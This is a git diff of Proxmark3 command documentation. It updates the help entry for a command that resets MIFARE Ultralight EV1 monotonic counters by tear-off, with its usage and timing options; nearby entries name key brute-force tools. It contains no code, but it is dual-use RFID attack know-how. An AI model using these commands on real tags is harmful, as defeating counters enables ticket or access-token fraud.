Authentication"}, diff --git a/doc/commands.json b/doc/commands.json index 513af15b2..fd2b16458 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -9310,23 +9310,21 @@ }, "hf mfu countertear": { "command": "hf mfu countertear", - "description": "Tear-off test against a Ev1 counter", + "description": "Reset a MIFARE Ultralight EV1 monotonic counter with the tear-off technique Port of the pyscript mfuev1_counter_reset.py, based on Quarkslab research", "notes": [ - "hf mfu countertear -c 0 -> target counter 0", - "hf mfu countertear -c 0 -s 200 -> target counter 0, start delay 200", - "hf mfu countertear -c 0 -x 020000 -> target counter 0, increasing the counter by 2 bytes" + "hf mfu countertear -c 0", + "hf mfu countertear -c 0 -f", + "hf mfu countertear -c 0 --DelayBD 2720 --Delay00 2705" ], "offline": false, "options": [ "-h, --help This help", - "-c, --cnt <0,1,2> Target this EV1 counter (0,1,2)", - "-i, --inc time interval to increase in each iteration - default 10 us", - "-l, --limit test upper limit time - default 3000 us", - "-s, --start test start time - default 500 us", - "--fix test fixed loop delay", - "-x, --hex 3 byte hex to increase counter with - default 010000" + "-c, --cnt <0-2> Target this EV1 counter (0,1,2)", + "-f, --force Skip pre-flight checks", + "--DelayBD Manual BD delay (us, disables auto-calibration)", + "--Delay00 Manual 00 delay (us)" ], - "usage": "hf mfu countertear [-h] [-c <0,1,2>] [-i ] [-l ] [-s ] [--fix ] [-x ]" + "usage": "hf mfu countertear [-hf] [-c <0-2>] [--DelayBD ] [--Delay00 ]" }, "hf mfu desbrute": { "command": "hf mfu desbrute", @@ -16814,6 +16812,6 @@ "metadata": { "commands_extracted": 936, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2026-10-14T15:56:50+00:00" + "extracted_on": "2026-10-23T22:15:17+00:00" } } diff --git a/doc/commands.md b/doc/commands.md index 2c4e28201..ff131cbea 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -747,7 +747,7 @@ Check column "offline" for their availability. |`hf mfu keygen `|Y |`Generate DES/3DES/AES MIFARE diversified keys` |`hf mfu pwdgen `|Y |`Generate pwd from known algos` |`hf mfu otptear `|N |`Tear-off test on OTP bits` -|`hf mfu countertear `|N |`Tear-off test on Ev1/NTAG Counter bits` +|`hf mfu countertear `|N |`Reset a Mifare UL EV1 counter with tear-off` |`hf mfu chk `|N |`Ultralight C/AES - Authentication dictionary check` |`hf mfu cauth `|N |`Ultralight-C - Authentication` |`hf mfu desbrute `|Y |`Ultralight-C - 3DES key segment brute force`